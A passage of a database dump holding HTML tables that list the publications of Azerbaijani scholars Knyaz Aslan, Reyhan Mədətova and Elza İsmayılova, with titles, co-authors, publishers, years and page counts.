Univеrsitəsi Nəşriyyatı,</p></td><td width=\"48\"><p>2005</p></td><td width=\"77\"><p>620 s</p></td></tr><tr><td width=\"204\"><p>Şəхsiyyətin fоrmalaşmasında bədii ədəbiyyatın rоlu:</p></td><td width=\"97\"><p>Mоnоqrafiya</p></td><td width=\"125\"><p>&nbsp;</p></td><td width=\"144\"><p>Bakı: Bakı Univеrsitеti Nəşriyyatı</p></td><td width=\"48\"><p>2005</p></td><td width=\"77\"><p>300 s</p></td></tr><tr><td width=\"204\"><p>Bu dünyaya nə gətirdim… Hamlеt İsaхanlı (İsayеv)</p></td><td width=\"97\"><p>Mоnоqrafiya</p></td><td width=\"125\"><p>Knyaz Aslan V.Ömərli ilə birlikdə</p></td><td width=\"144\"><p>Bakı: Хəzər Univеrsitəsi Nəşriyyatı</p></td><td width=\"48\"><p>2005</p></td><td width=\"77\"><p>–118 s</p></td></tr><tr><td width=\"204\"><p>Elm və təhsil fədaisi (Əməkdar elm xadimi, prof.A.A.Xələfov):</p></td><td width=\"97\"><p>Monoqrafiya</p></td><td width=\"125\"><p>&nbsp;</p></td><td width=\"144\"><p>Bаkı: Bаkı Univеrsitеti Nəşriyyаtı</p></td><td width=\"48\"><p>2006</p></td><td width=\"77\"><p>240 s</p></td></tr><tr><td width=\"204\"><p>Müdriklik və alimlik zirvəsində Məqalələr məcmuəsi (Prof.A.Xələfov – 75)</p></td><td width=\"97\"><p>&nbsp;</p></td><td width=\"125\"><p>Rasim Kazımov, Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Bakı Universiteti Nəşriyyatı</p></td><td width=\"48\"><p>2006</p></td><td width=\"77\"><p>160 s</p></td></tr><tr><td width=\"204\"><p>Şəxsiyyətin formalaşmasında bədii ədəbiyyatın rolu</p></td><td width=\"97\"><p>Monoqrafiya (2-ci nəşri)</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bаkı: Bаkı Univеrsitеti Nəşriyyаtı</p></td><td width=\"48\"><p>2008</p></td><td width=\"77\"><p>304 s.</p></td></tr><tr><td width=\"204\"><p>Qədim və оrtа əsrlər dünyа kitаbхаnаlаrı (Ən qədim zamanlardan XVII əsrin ortalarınadək):</p></td><td width=\"97\"><p>Dərs vəsаiti</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bаkı: Bаkı Univеrsitеti Nəşriyyаtı</p></td><td width=\"48\"><p>2008.</p></td><td width=\"77\"><p>240 s.</p></td></tr><tr><td width=\"204\"><p>Dünyа kitаbхаnаlаrının tarixi (XVII əsrin ortalarından XXI əsrədək):</p></td><td width=\"97\"><p>Dərs vəsаiti</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bаkı: Bаkı Univеrsitеti Nəşriyyаtı</p></td><td width=\"48\"><p>2008</p></td><td width=\"77\"><p>240 s</p></td></tr><tr><td width=\"204\"><p>Аzərbаycаndа təhsil sistеminə kitаbхаnа хiməti:</p></td><td width=\"97\"><p>Dərs vəsаiti</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bаkı: Bаkı Univеrsitеti Nəşriyyаtı</p></td><td width=\"48\"><p>2008</p></td><td width=\"77\"><p>192 s.</p></td></tr><tr><td width=\"204\"><p>Qızlar sevgi yaşında</p></td><td width=\"97\"><p>Şeirlər</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Qartal</p></td><td width=\"48\"><p>2008</p></td><td width=\"77\"><p>76 s.</p></td></tr><tr><td width=\"204\"><p>Dədə Camal (Əməkdar elm xadimi, fəlsəfə elmləri doktoru, professor Camal Mustafayev – 80) (xatirələr, şeirlər və fotolar).</p></td><td width=\"97\"><p>&nbsp;</p></td><td width=\"125\"><p>Knyaz Aslan, Rəşid Faxralı</p></td><td width=\"144\"><p>Bakı: Pedaqogika</p></td><td width=\"48\"><p>2008</p></td><td width=\"77\"><p>280 s</p></td></tr><tr><td width=\"204\"><p>Hamlet İsaxanlı – Elm və Sənət Məclisi (1-10-cu məclislər):</p></td><td width=\"97\"><p>Elmi məruzə və çıxışlar toplusu</p></td><td width=\"125\"><p>Knyaz Aslan, Cabir Məmmədli</p></td><td width=\"144\"><p>Bakı: Xəzər Universitəsi Nəşriyyatı</p></td><td width=\"48\"><p>2008</p></td><td width=\"77\"><p>302 s</p></td></tr><tr><td width=\"204\"><p>Qızlar sevgi yaşında</p><p>&nbsp;</p></td><td width=\"97\"><p>Şeirlər</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Qartal</p></td><td width=\"48\"><p>2009</p></td><td width=\"77\"><p>80 s</p><div><br></div></td></tr></tbody></table>  <br></div>'),(1582,977,'az','Knyaz Aslan','Knyaz Aslan','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"144\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"48\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"77\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>Sözün kəsəsi</p><p>&nbsp;</p></td><td width=\"97\"><p>&nbsp;</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Publisistik düşüncələr,</p><p>&nbsp;Bakı</p></td><td width=\"48\"><p>1994</p></td><td width=\"77\"><p>48 s.</p></td></tr><tr><td width=\"204\"><p>Qırxıncı qapı</p></td><td width=\"97\"><p>Şeirlər</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı</p></td><td width=\"48\"><p>1995</p></td><td width=\"77\"><p>48 s</p></td></tr><tr><td width=\"204\"><p>Döyüş olsa bir əsgərdir qələmim</p></td><td width=\"97\"><p>(Məqalələr; Reportajlar; Oçerklər; Yol qeydləri; Sənədli hekayələr)</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Hərbi Nəşriyyat</p></td><td width=\"48\"><p>1998</p></td><td width=\"77\"><p>140 s</p></td></tr><tr><td width=\"204\"><p>Mənəvi ömrün başlanğıcı (Polkovnik Şahbaz Aslanov) (Xüsusi buraxılış)</p></td><td width=\"97\"><p>&nbsp;</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Əbilov, Zeynalov və oğulları</p></td><td width=\"48\"><p>2000</p></td><td width=\"77\"><p>24 s.</p></td></tr><tr><td width=\"204\"><p>Başkeçidin dağlarıdır bu dağlar</p></td><td width=\"97\"><p>Şeirlər toplusu)</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı</p></td><td width=\"48\"><p>2001</p></td><td width=\"77\"><p>100 s</p></td></tr><tr><td width=\"204\"><p>Mənalı ömür yоlu: Abuzər Alı оğlu Хələfоv (Anadan оlmasının 70, еlmi-pеdaqоji fəaliyyətinin 50 illiyinə həsr еdilir)</p></td><td width=\"97\"><p>&nbsp;</p></td><td width=\"125\"><p>Knyaz Aslan, Murtuz Bağırov</p></td><td width=\"144\"><p>Bakı: Bakı Univеrsitеti Nəşriyyatı</p></td><td width=\"48\"><p>2001</p></td><td width=\"77\"><p>230 s.</p></td></tr><tr><td width=\"204\"><p>Prоfеssоr Abuzər Хələfоv – 70. (“Kitabхanaşünaslıq və bibliоqrafiya” еlmi-nəzəri və təcrübi-mеtоdik jurnalının хüsusi buraхılışı)</p></td><td width=\"97\"><p>Jurnal məqaləsi</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Bakı Univеrsitеti Nəşriyyatı</p></td><td width=\"48\"><p>2001</p></td><td width=\"77\"><p>148 s</p></td></tr><tr><td width=\"204\"><p>Barlı-bəhərli illər (BDU-nun kafеdra müdiri, dоsеnt Tacəddin Quliyеv -75)</p></td><td width=\"97\"><p>&nbsp;</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Bakı Univеrsitеti Nəşriyyatı</p></td><td width=\"48\"><p>2005</p></td><td width=\"77\"><p>180 s</p></td></tr><tr><td width=\"204\"><p>Kütləvi İnfоrmasiya Vasitələri: Müasir kоmmunikasiyaya giriş: VI nəşr</p></td><td width=\"97\"><p>Dərs vəsaiti</p></td><td width=\"125\"><p>Ray Еldоn Niеbеrt, Dоnald F.Ungurait, Thоmas W.Bоhn. İngilis dilindən tərcümə еdənlər: Хumar Hüsеynоva, Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Хəzər Univеrsitəsi Nəşriyyatı,</p></td><td width=\"48\"><p>2005</p></td><td width=\"77\"><p>620 s</p></td></tr><tr><td width=\"204\"><p>Şəхsiyyətin fоrmalaşmasında bədii ədəbiyyatın rоlu:</p></td><td width=\"97\"><p>Mоnоqrafiya</p></td><td width=\"125\"><p>&nbsp;</p></td><td width=\"144\"><p>Bakı: Bakı Univеrsitеti Nəşriyyatı</p></td><td width=\"48\"><p>2005</p></td><td width=\"77\"><p>300 s</p></td></tr><tr><td width=\"204\"><p>Bu dünyaya nə gətirdim… Hamlеt İsaхanlı (İsayеv)</p></td><td width=\"97\"><p>Mоnоqrafiya</p></td><td width=\"125\"><p>Knyaz Aslan V.Ömərli ilə birlikdə</p></td><td width=\"144\"><p>Bakı: Хəzər Univеrsitəsi Nəşriyyatı</p></td><td width=\"48\"><p>2005</p></td><td width=\"77\"><p>–118 s</p></td></tr><tr><td width=\"204\"><p>Elm və təhsil fədaisi (Əməkdar elm xadimi, prof.A.A.Xələfov):</p></td><td width=\"97\"><p>Monoqrafiya</p></td><td width=\"125\"><p>&nbsp;</p></td><td width=\"144\"><p>Bаkı: Bаkı Univеrsitеti Nəşriyyаtı</p></td><td width=\"48\"><p>2006</p></td><td width=\"77\"><p>240 s</p></td></tr><tr><td width=\"204\"><p>Müdriklik və alimlik zirvəsində Məqalələr məcmuəsi (Prof.A.Xələfov – 75)</p></td><td width=\"97\"><p>&nbsp;</p></td><td width=\"125\"><p>Rasim Kazımov, Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Bakı Universiteti Nəşriyyatı</p></td><td width=\"48\"><p>2006</p></td><td width=\"77\"><p>160 s</p></td></tr><tr><td width=\"204\"><p>Şəxsiyyətin formalaşmasında bədii ədəbiyyatın rolu</p></td><td width=\"97\"><p>Monoqrafiya (2-ci nəşri)</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bаkı: Bаkı Univеrsitеti Nəşriyyаtı</p></td><td width=\"48\"><p>2008</p></td><td width=\"77\"><p>304 s.</p></td></tr><tr><td width=\"204\"><p>Qədim və оrtа əsrlər dünyа kitаbхаnаlаrı (Ən qədim zamanlardan XVII əsrin ortalarınadək):</p></td><td width=\"97\"><p>Dərs vəsаiti</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bаkı: Bаkı Univеrsitеti Nəşriyyаtı</p></td><td width=\"48\"><p>2008.</p></td><td width=\"77\"><p>240 s.</p></td></tr><tr><td width=\"204\"><p>Dünyа kitаbхаnаlаrının tarixi (XVII əsrin ortalarından XXI əsrədək):</p></td><td width=\"97\"><p>Dərs vəsаiti</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bаkı: Bаkı Univеrsitеti Nəşriyyаtı</p></td><td width=\"48\"><p>2008</p></td><td width=\"77\"><p>240 s</p></td></tr><tr><td width=\"204\"><p>Аzərbаycаndа təhsil sistеminə kitаbхаnа хiməti:</p></td><td width=\"97\"><p>Dərs vəsаiti</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bаkı: Bаkı Univеrsitеti Nəşriyyаtı</p></td><td width=\"48\"><p>2008</p></td><td width=\"77\"><p>192 s.</p></td></tr><tr><td width=\"204\"><p>Qızlar sevgi yaşında</p></td><td width=\"97\"><p>Şeirlər</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Qartal</p></td><td width=\"48\"><p>2008</p></td><td width=\"77\"><p>76 s.</p></td></tr><tr><td width=\"204\"><p>Dədə Camal (Əməkdar elm xadimi, fəlsəfə elmləri doktoru, professor Camal Mustafayev – 80) (xatirələr, şeirlər və fotolar).</p></td><td width=\"97\"><p>&nbsp;</p></td><td width=\"125\"><p>Knyaz Aslan, Rəşid Faxralı</p></td><td width=\"144\"><p>Bakı: Pedaqogika</p></td><td width=\"48\"><p>2008</p></td><td width=\"77\"><p>280 s</p></td></tr><tr><td width=\"204\"><p>Hamlet İsaxanlı – Elm və Sənət Məclisi (1-10-cu məclislər):</p></td><td width=\"97\"><p>Elmi məruzə və çıxışlar toplusu</p></td><td width=\"125\"><p>Knyaz Aslan, Cabir Məmmədli</p></td><td width=\"144\"><p>Bakı: Xəzər Universitəsi Nəşriyyatı</p></td><td width=\"48\"><p>2008</p></td><td width=\"77\"><p>302 s</p></td></tr><tr><td width=\"204\"><p>Qızlar sevgi yaşında</p><p>&nbsp;</p></td><td width=\"97\"><p>Şeirlər</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Qartal</p></td><td width=\"48\"><p>2009</p></td><td width=\"77\"><p>80 s</p></td></tr></tbody></table>  <br></div>'),(1583,984,'az',' Reyhan Medetova',' Reyhan Medetova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"144\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"48\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"77\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>XIII-XVIII əsrlər Azərbaycan dili yazılı abidələrində məsdər</p></td><td width=\"97\"><p>kitab</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>“Nurlan” nəşriyyatı</p></td><td width=\"48\"><p>2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>Azərbaycan ədəbi dili tarixi proqramı ( bakalavr təhsili)</p></td><td width=\"97\"><p>&nbsp;Proqram</p><p>(qrifli nəşr)</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>&nbsp;</p></td><td width=\"48\"><p>2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Kitabi-Dədə Qorqud”da məsdər şəkilçisinin fonetik variantları</p></td><td width=\"97\"><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Azərbaycan dilçiliyinin aktual problemləri</p></td><td width=\"48\"><p>2001</p></td><td width=\"77\"><p>səh.72-75</p></td></tr><tr><td width=\"204\"><p>&nbsp;</p><p>XIII-XVIII əsrlər&nbsp; Azərbaycan dili yazılı abidərində sırf&nbsp; isimləşmiş məsdərlər</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Loqos, Bakı</p></td><td width=\"48\"><p>1997</p></td><td width=\"77\"><p>səh.82-98</p></td></tr><tr><td width=\"204\"><p>Azərbaycan mətnşünaslığının actual məsələləri</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Türkologiya 1-2, Bakı</p></td><td width=\"48\"><p>2005</p></td><td width=\"77\"><p>səh.102--106</p></td></tr><tr><td width=\"204\"><p>Qazi Bürhanəddinin dili</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Jurnal of Azerbaijani studies Bakı</p></td><td width=\"48\"><p>2007</p></td><td width=\"77\"><p>səh.69-77</p></td></tr><tr><td width=\"204\"><p>Bəzi assemantikləşmiş köklər haqqında</p></td><td width=\"97\"><p>&nbsp;&nbsp;&nbsp;&nbsp; məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>BDU-nun elmi əsərləri. Bakı</p></td><td width=\"48\"><p>2007&nbsp;&nbsp;&nbsp;</p></td><td width=\"77\"><p>səh. 32-38</p></td></tr><tr><td width=\"204\"><p>Azərbaycan dilinin yazılı abidələrində adlıq halda işlənmiş məsdərlərin transliterasiyasına dair</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Orta əsr əlyazmaları və Azərbaycan mədəniyyəti problemləri Bakı</p></td><td width=\"48\"><p>1991</p></td><td width=\"77\"><p>səh.85-88</p></td></tr><tr><td width=\"204\"><p>Məsdər şəkilçisinin normalaşmasına dair</p></td><td width=\"97\"><p>&nbsp;&nbsp; məqalə&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Azərbaycan ədəbi dilində norma və normalaşma məsələləri Bakı</p></td><td width=\"48\"><p>1991</p></td><td width=\"77\"><p>səh.119-121</p></td></tr></tbody></table>  <br></div>'),(1584,984,'en',' Reyhan Medetova',' Reyhan Medetova','<div><br></div><div style=\"font-family:\'times new roman\', times, serif\"><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"144\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"48\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"77\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>XIII-XVIII əsrlər Azərbaycan dili yazılı abidələrində məsdər</p></td><td width=\"97\"><p>kitab</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>“Nurlan” nəşriyyatı</p></td><td width=\"48\"><p>2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>Azərbaycan ədəbi dili tarixi proqramı ( bakalavr təhsili)</p></td><td width=\"97\"><p>&nbsp;Proqram</p><p>(qrifli nəşr)</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>&nbsp;</p></td><td width=\"48\"><p>2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Kitabi-Dədə Qorqud”da məsdər şəkilçisinin fonetik variantları</p></td><td width=\"97\"><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Azərbaycan dilçiliyinin aktual problemləri</p></td><td width=\"48\"><p>2001</p></td><td width=\"77\"><p>səh.72-75</p></td></tr><tr><td width=\"204\"><p>&nbsp;</p><p>XIII-XVIII əsrlər&nbsp; Azərbaycan dili yazılı abidərində sırf&nbsp; isimləşmiş məsdərlər</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Loqos, Bakı</p></td><td width=\"48\"><p>1997</p></td><td width=\"77\"><p>səh.82-98</p></td></tr><tr><td width=\"204\"><p>Azərbaycan mətnşünaslığının actual məsələləri</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Türkologiya 1-2, Bakı</p></td><td width=\"48\"><p>2005</p></td><td width=\"77\"><p>səh.102--106</p></td></tr><tr><td width=\"204\"><p>Qazi Bürhanəddinin dili</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Jurnal of Azerbaijani studies Bakı</p></td><td width=\"48\"><p>2007</p></td><td width=\"77\"><p>səh.69-77</p></td></tr><tr><td width=\"204\"><p>Bəzi assemantikləşmiş köklər haqqında</p></td><td width=\"97\"><p>&nbsp;&nbsp;&nbsp;&nbsp; məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>BDU-nun elmi əsərləri. Bakı</p></td><td width=\"48\"><p>2007&nbsp;&nbsp;&nbsp;</p></td><td width=\"77\"><p>səh. 32-38</p></td></tr><tr><td width=\"204\"><p>Azərbaycan dilinin yazılı abidələrində adlıq halda işlənmiş məsdərlərin transliterasiyasına dair</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Orta əsr əlyazmaları və Azərbaycan mədəniyyəti problemləri Bakı</p></td><td width=\"48\"><p>1991</p></td><td width=\"77\"><p>səh.85-88</p></td></tr><tr><td width=\"204\"><p>Məsdər şəkilçisinin normalaşmasına dair</p></td><td width=\"97\"><p>&nbsp;&nbsp; məqalə&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Azərbaycan ədəbi dilində norma və normalaşma məsələləri Bakı</p></td><td width=\"48\"><p>1991</p></td><td width=\"77\"><p>səh.119-121</p><div><br></div></td></tr></tbody></table>  <br></div>'),(1587,986,'az','Elza Ismayilova','Elza Ismayilova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong></p></td><td width=\"144\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong></p></td><td width=\"48\"><p><strong>Year Published</strong></p></td><td width=\"77\"><p><strong>Vol. &amp; Pages</strong></p></td></tr><tr><td width=\"204\"><p>“<em>The Azerbaijani language</em>– Azərbaycan dili”&nbsp; dərsliyi (İngilis dilində danışanlar üçün</p></td><td width=\"97\"><p>Kitab</p></td><td width=\"125\"><p>Hamlet İsaxanlı, Elza İsmayılova və Firəngiz Nəsirova</p></td><td width=\"144\"><p>Bakı, Xəzər Universiteti Nəşriyyatı</p></td><td width=\"48\"><p>1997</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlu” dastanının Azərbaycan, Gürcüstan, Türkiyə və Paris variantlarının müqayisəli təhlili”</p><p>&nbsp;</p></td><td width=\"97\"><p>Kitab</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>(<em>Türk Dil Kurumunda&nbsp; çapdadır</em>)</p></td><td width=\"48\"><p>&nbsp;</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin öyrədilməsi yolları<em>”</em></p></td><td width=\"97\"><p>Kitab</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p><em>(Çapa hazırlanır).</em></p></td><td width=\"48\"><p>&nbsp;</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“İngilisdillilərə Azərbaycan dilindən spesifik səslərin öyrədilməsi yolları”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Azərbaycan Araşdırmaları Jurnalı, Volume 1, number 4</p></td><td width=\"48\"><p>1998</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Gəlir Novruz bayramı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №43</p></td><td width=\"48\"><p>18.03.1998</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Azərbaycan – yurdum mənim”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №87</p></td><td width=\"48\"><p>01.06.2000</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Elm, təhsil və mədəniyyət bayramı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova K.Aslanla</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №103</p></td><td width=\"48\"><p>01.04.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №105</p></td><td width=\"48\"><p>01.05.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №106</p></td><td width=\"48\"><p>15.05.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Dərsdə texniki təlim vasitələrindən istifadə”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №107</p></td><td width=\"48\"><p>01.06.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi” “Dərsdə texniki təlim vasitələrindən istifadə”&nbsp; (ardı)</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №108</p></td><td width=\"48\"><p>15.06.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Demə, Səməd Vurğun gəldi-gedərdi...”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №109</p></td><td width=\"48\"><p>01.07.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №111</p></td><td width=\"48\"><p>01.10.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Nitq vərdişləri haqqında ümumi məlumat”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №112</p></td><td width=\"48\"><p>15.10.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Nitq vərdişləri haqqında ümumi məlumat”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №113</p></td><td width=\"48\"><p>01.11.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Nitq vərdişlərinin aşılanması ardıcıllığı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №114</p></td><td width=\"48\"><p>15.11.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №116</p></td><td width=\"48\"><p>15.12.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №117</p></td><td width=\"48\"><p>01.01.2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlu” dastanının Borçalı – Qarayazı variantı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova Şurəddin Məmmədli və Vahid Ömərovla birgə&nbsp;&nbsp;</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 125</p></td><td width=\"48\"><p>01.06. 2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Öz içindən yanan bir ocağam mən 